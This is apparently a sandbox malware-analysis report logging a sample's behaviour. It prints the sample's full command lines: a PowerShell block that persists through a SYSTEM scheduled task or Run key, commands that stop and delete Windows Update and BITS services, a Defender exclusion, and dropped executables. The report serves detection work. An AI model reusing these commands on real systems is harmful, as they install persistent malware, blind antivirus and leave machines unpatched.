CreateProcessInternalW Feb. 19, 2025, 10:28 a.m.	thread_identifier: 2716 thread_handle: 0x00000000000000b4 process_identifier: 812 current_directory: filepath: track: 1 command_line: powershell <#tkmebyokj#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'Barac' /tr '''C:\Program Files\Cuis\bon\Bara.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Cuis\bon\Bara.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Barac' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Barac" /t REG_SZ /f /d 'C:\Program Files\Cuis\bon\Bara.exe' } filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 0 process_handle: 0x00000000000000b8	1	1
CreateProcessInternalW Feb. 19, 2025, 10:29 a.m.	thread_identifier: 1892 thread_handle: 0x00000000000000cc process_identifier: 2256 current_directory: filepath: track: 1 command_line: powershell <#byjeowvd#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "Barac" } Else { "C:\Program Files\Cuis\bon\Bara.exe" } filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 0 process_handle: 0x00000000000000d4	1	1

Uses Windows utilities for basic Windows functionality (12 events)

cmdline	powershell <#byjeowvd#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "Barac" } Else { "C:\Program Files\Cuis\bon\Bara.exe" }
cmdline	sc stop wuauserv
cmdline	sc stop UsoSvc
cmdline	sc stop WaaSMedicSvc
cmdline	powershell <#tkmebyokj#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'Barac' /tr '''C:\Program Files\Cuis\bon\Bara.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Cuis\bon\Bara.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Barac' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Barac" /t REG_SZ /f /d 'C:\Program Files\Cuis\bon\Bara.exe' }
cmdline	reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
cmdline	reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
cmdline	cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
cmdline	reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
cmdline	sc stop bits
cmdline	reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
cmdline	sc stop dosvc

Communicates with host for which no DNS query was performed (1 event)

host

185.157.162.126

Attempts to stop active services (2 events)

Time & API	Arguments	Status	Return	Repeated
ControlService Feb. 19, 2025, 10:29 a.m.	service_handle: 0x0000000000565270 service_name: None control_code: 1		0	0
ControlService Feb. 19, 2025, 10:29 a.m.	service_handle: 0x00000000004a5270 service_name: None control_code: 1		0	0

Installs itself for autorun at Windows startup (1 event)

cmdline

powershell <#tkmebyokj#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'Barac' /tr '''C:\Program Files\Cuis\bon\Bara.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Cuis\bon\Bara.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Barac' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Barac" /t REG_SZ /f /d 'C:\Program Files\Cuis\bon\Bara.exe' }

Drops a binary and executes it (3 events)

file	C:\Users\test22\AppData\Local\Temp\Tbcelsmfm.exe
file	C:\Users\test22\AppData\Local\Temp\lgigivedpdvfs.exe
file	C:\Users\test22\AppData\Local\Temp\MLjvrefsd5vf1.exe

Powershell script adds registry entries (1 event)

cmd

powercfg /x -standby-timeout-dc 0powercfg /x -hibernate-timeout-ac 0 "c:\users\test22\appdata\local\temp\lgigivedpdvfs.exe" powershell <#byjeowvd#> if((new-object security.principal.windowsprincipal([security.principal.windowsidentity]::getcurrent())).isinrole([security.principal.windowsbuiltinrole]::administrator)) { schtasks /run /tn "barac" } else { "c:\program files\cuis\bon\bara.exe" }c:\users\test22\appdata\local\temp\tbcelsmfm.exec:\windows\system32\dialer.exe"c:\users\test22\appdata\local\temp\mljvrefsd5vf1.exe" sc stop wuauserv cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0powercfg /x -standby-timeout-ac 0 sc stop usosvc sc stop waasmedicsvc powershell <#tkmebyokj#> if((new-object security.principal.windowsprincipal([security.principal.windowsidentity]::getcurrent())).isinrole([security.principal.windowsbuiltinrole]::administrator)) { if([system.environment]::osversion.version -lt [system.version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'system' /tn 'barac' /tr '''c:\program files\cuis\bon\bara.exe'''" } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\program files\cuis\bon\bara.exe') -trigger (new-scheduledtasktrigger -atstartup) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'barac' -user 'system' -runlevel 'highest' -force; } } else { reg add "hkcu\software\microsoft\windows\currentversion\run" /v "barac" /t reg_sz /f /d 'c:\program files\cuis\bon\bara.exe' }reg delete "hklm\system\currentcontrolset\services\wuauserv" /f reg delete "hklm\system\currentcontrolset\services\usosvc" /f c:\users\test22\appdata\local\temp\lgigivedpdvfs.exepowercfg /x -hibernate-timeout-dc 0 cmd /c sc stop usosvc & sc stop waasmedicsvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "hklm\system\currentcontrolset\services\usosvc" /f & reg delete "hklm\system\currentcontrolset\services\waasmedicsvc" /f & reg delete "hklm\system\currentcontrolset\services\wuauserv" /f & reg delete "hklm\system\currentcontrolset\services\bits" /f & reg delete "hklm\system\currentcontrolset\services\dosvc" /freg delete "hklm\system\currentcontrolset\services\bits" /f sc stop bits reg delete "hklm\system\currentcontrolset\services\waasmedicsvc" /f sc stop dosvc powershell add-mppreference -exclusionpath @($env:userprofile, $env:programfiles) -forcec:\users\test22\appdata\local\temp\mljvrefsd5vf1.exe"c:\users\test22\appdata\local\temp\tbcelsmfm.exe"

Uses Sysinternals tools in order to add additional command line functionality (1 event)

cmdline

JHiuhe2rg7tds

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